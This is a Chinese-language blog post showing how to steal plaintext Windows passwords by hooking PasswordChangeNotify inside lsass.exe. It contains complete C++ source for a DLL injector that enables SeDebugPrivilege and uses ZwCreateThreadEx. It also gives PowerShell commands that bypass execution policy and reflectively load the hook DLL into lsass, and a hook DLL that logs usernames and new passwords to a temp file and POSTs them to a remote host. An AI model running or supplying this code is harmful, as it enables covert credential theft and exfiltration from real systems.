淺談無需修改注冊表抓取明文密碼
前言
在win2012以前的操作系統版本下,由于WDigest將明文儲存到lsass進程中,可以抓取明文密碼。在win2012版本以后需要通過修改注冊表才能抓取到明文密碼,否則只能是hash。修改注冊表意味著有很銘感的操作,那么有哪些方法可以讓我們無需修改注冊表抓取到win2012以上版本的明文密碼呢?本文就通過HookPasswordChangeNotify無需修改注冊表抓取明文密碼進行淺談。

LSA
LSA全稱Local Security Authority,是微軟窗口操作系統的一個內部程序,負責運行Windows系統安全政策。它在用戶登錄時電腦單機或服務器時,驗證用戶身份,管理用戶密碼變更,并產生訪問字符。它也會在窗口安全記錄檔中留下應有的記錄。用于身份的驗證。其中就包含有lsass.exe進程。

PasswordChangNotify
PasswordChangeNotify是windows提供的一個API。
在修改密碼時,用戶輸入新密碼后,LSA 會調用 PasswordFileter 來檢查該密碼是否符合復雜性要求,如果密碼符合要求,LSA 會調用 PasswordChangeNotify,在系統中同步密碼。這個過程中會有明文形式的密碼經行傳參,只需要改變PasswordChangeNotify的執行流,獲取到傳入的參數,也就能夠獲取到明文密碼。
msdn文檔:https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine
HOOK PasswordChangeNotify
具體實現思路如下:
- 為PasswordChangeNotify創建一個鉤子,將函數執行流重定向到我們自己的PasswordChangeNotifyHook函數中。
- 在PasswordChangeNotifyHook函數中寫入獲取密碼的代碼,然后再取消鉤子,重新將執行流還給PasswordChangeNotify。
- 將生成的dll注入到lssas進程中。使用HOOK PasswordChangeNotify無需重啟系統或修改注冊表,更加隱蔽且貼合實際。
遠線程注入(突破session0)
已有前輩寫了相關的Inline hook代碼。
項目地址:https://github.com/clymb3r/Misc-Windows-Hacking
打開項目后,將MFC的使用設置為在靜態庫中使用MFC。

F7編譯即可。
dll生成后就需要注入dll,注入的方式也很多了,可以起一個線程去遠線程注入。由于是注入lsass進程,一般的遠線程注入是無法注入成功的,需要突破session 0,使用更為底層的ZwCreateThreadEx。正好之前有寫過一個注入的代碼,這里直接貼上來。
#include #include #include "tchar.h"#include
using namespace std;
BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName){ HANDLE hToken = NULL; LUID luidValue = { 0 }; TOKEN_PRIVILEGES tokenPrivileges = { 0 }; BOOL bRet = FALSE; DWORD dwRet = 0; // 打開進程令牌并獲取進程令牌句柄 bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken); if (FALSE == bRet) { printf("[!] Open CurrentProcessToken Error,Error is:%d",GetLastError()); return FALSE; } else { printf("[*] Open CurrentProcessToken Successfully!,TokenHandle is:%d", hToken); } // 獲取本地系統的 pszPrivilegesName 特權的LUID值 bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue); if (FALSE == bRet) { printf("[!] LookupPrivilegeValue Error,Error is:%d", GetLastError()); return FALSE; } else { printf("[*] LookupPrivilegeValue Successfully!"); } // 設置提升權限信息 tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges[0].Luid = luidValue; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升進程令牌訪問權限 bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL); if (FALSE == bRet) { printf("[!] AdjustTokenPrivileges Error,Error is:%d", GetLastError()); return FALSE; } else { // 根據錯誤碼判斷是否特權都設置成功 dwRet = ::GetLastError(); if (ERROR_SUCCESS == dwRet) { printf("[√] ALL_ASSIGNED!"); return TRUE; } else if (ERROR_NOT_ALL_ASSIGNED == dwRet) { printf("[!] ERROR:NOT_ALL_ASSIGNED,Error is %d", dwRet); return FALSE; } } return FALSE;}DWORD EnumModules(DWORD hPid, LPCSTR hMoudlePath){ WCHAR szBuffer[MAX_PATH] = { 0 }; mbstowcs(szBuffer, hMoudlePath, MAX_PATH); //通過pid列出所有的Modules HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32;
//給進程所引用的模塊信息設定一個快照 hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, hPid); if (hModuleSnap == INVALID_HANDLE_VALUE) { printf("[!] Error:Enum modules failed to detect if there is an injected DLL module,error is %d" ,GetLastError()); } me32.dwSize = sizeof(MODULEENTRY32); if (!Module32First(hModuleSnap, &me32)) { printf("[!] Enum Error!"); CloseHandle(hModuleSnap); } do { if(!memcmp(me32.szExePath, szBuffer,MAX_PATH)) return 1; } while (Module32Next(hModuleSnap, &me32)); CloseHandle(hModuleSnap); return 0;}DWORD _InjectThread(DWORD _Pid, LPCSTR psDllPath){ FILE* fp; fp = fopen(psDllPath, "r"); if (!fp) { printf("[!] Error:DLL path not foundPlease check that your path is correct or absolute"); return FALSE; } fclose(fp); printf("****************************************************************************"); HANDLE hprocess = NULL; HANDLE hThread = NULL; DWORD _SIZE = 0; LPVOID pAlloc = NULL; FARPROC pThreadFunction = NULL; DWORD ZwRet = 0; hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); if (hprocess == NULL) { printf("[!] OpenProcess Error,Error is:%d", GetLastError()); return FALSE; } else { printf("[*] OpenProcess Successfully!"); } _SIZE = strlen(psDllPath)+1; pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE); if (pAlloc == NULL) { printf("[!] VirtualAllocEx Error,Error is:%d", GetLastError()); return FALSE; } else { printf("[*] VirtualAllocEx Successfully!"); } BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllPath, _SIZE, NULL); if (FALSE == x) { printf("[!] WriteMemory Error,Error is:%d", GetLastError()); return FALSE; } else { printf("[*] WriteMemory Successfully!"); }
HMODULE hNtdll = LoadLibrary(L"ntdll.dll"); if (hNtdll == NULL) { printf("[!] LoadNTdll Error,Error is:%d", GetLastError()); return FALSE; } else { printf("[*] Load ntdll.dll Successfully!"); } pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); if (pThreadFunction == NULL) { printf("[!] Get LoadLibraryA Address Error,Error is:%d", GetLastError()); return FALSE; } else { printf("[*] Get LoadLibraryA Address Successfully! Address is %x", pThreadFunction); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown );#else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown );#endif typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL; ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) { printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d", GetLastError()); return FALSE; } else { printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x", ZwCreateThreadEx); } HANDLE hRemoteThread; ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess, (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL) { printf("[!] Creat RemoteThread Error,Error is:%d", GetLastError()); CloseHandle(hprocess); return FALSE; }
printf("[*] Please wait for a moment in the process of injection:"); for(int m = 0;m<5;m++) { if (EnumModules(_Pid, psDllPath)) { printf("[√] Creat RemoteThread Successfully! RemoteThread Id is %x", hRemoteThread); VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hprocess); FreeLibrary(hNtdll); return TRUE; } Sleep(2000); } printf("[!] DLL injection failed!Notice:Please check that your path is absolute or correct");
VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hprocess); FreeLibrary(hNtdll); return FALSE;}int main(int argc, char* argv[]){ if (argc == 3) { EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME); DWORD dwPid; sscanf(argv[1],"%d", &dwPid); _InjectThread(dwPid, argv[2]); return 1; } else { printf("[!] You passed in the wrong number of parameters!Please pass in two parameters."); printf("[!] Notice:[!] The first parameter is the PID of the target process[!] The second parameter is the location of the injected DLL,Please enter the absolute path!"); return 0; }}
找到lsass進程的pid后直接開始注入。


可以通過procexp64.exe看下dll到底注入成功沒有。這里要注意以管理員運行procexp64.exe,不然會無法看到lsass的組成模塊,因為遍歷高權限進程模塊本身就需要權限。
然后就更改一下密碼。

但是這里卻失敗了,C:\Windows\Temp路徑下并沒有password.txt文件,當要刪除HookPasswordChange.dll文件時也無法刪除,說明是真正注入進去了,有點疑惑。

后面通過反射加載的方式可以獲取到明文密碼,這里就有點不懂了,反射加載和直接加載就是加載方式的區別,最后dll都在進程空間里面,但是這里為何為失敗確實沒想明白。由于筆者學識尚淺,有懂得師傅請不吝賜教。
利用PS腳本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
注意這里該腳本是使用反射dll加載。
使用該腳本HookPasswordChange.dll注入內存
Set-ExecutionPolicy bypassImport-Module .\Invoke-ReflectivePEInjection.ps1Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
再次修改密碼后可在C:\Windows\Temp目錄下查看到passwords文件

這個文件位置是可以修改的,只需要修改HookPasswordChange.cpp文件,路徑改一下就行。

由于是反射dll加載,沒有通過LoadLibrary等API加載,procexp64.exe無法再找到相應的dll。并且是內存中直接展開,可以直接刪除掉HookPasswordChange.dll文件。如果需要遠程將密碼返回到服務端,可以再寫一個dll,用http協議經行傳輸
#include #include #include #include
void writeToLog(const char* szString){ FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); if (NULL == pFile) { return; } fprintf(pFile, "%s\r", szString); fclose(pFile); return;}
// Default DllMain implementationBOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ OutputDebugString(L"DllMain"); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
BOOLEAN __stdcall InitializeChangeNotify(void){ OutputDebugString(L"InitializeChangeNotify"); writeToLog("InitializeChangeNotify()"); return TRUE;}
BOOLEAN __stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation ){ OutputDebugString(L"PasswordFilter"); return TRUE;}
NTSTATUS __stdcall PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword ){ FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0); HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0); char* pBuf="SomeData";
OutputDebugString(L"PasswordChangeNotify"); if (NULL == pFile) { return; } fprintf(pFile, "%ws:%ws\r", UserName->Buffer,NewPassword->Buffer); fclose(pFile); InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2); InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2); HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));
return 0;}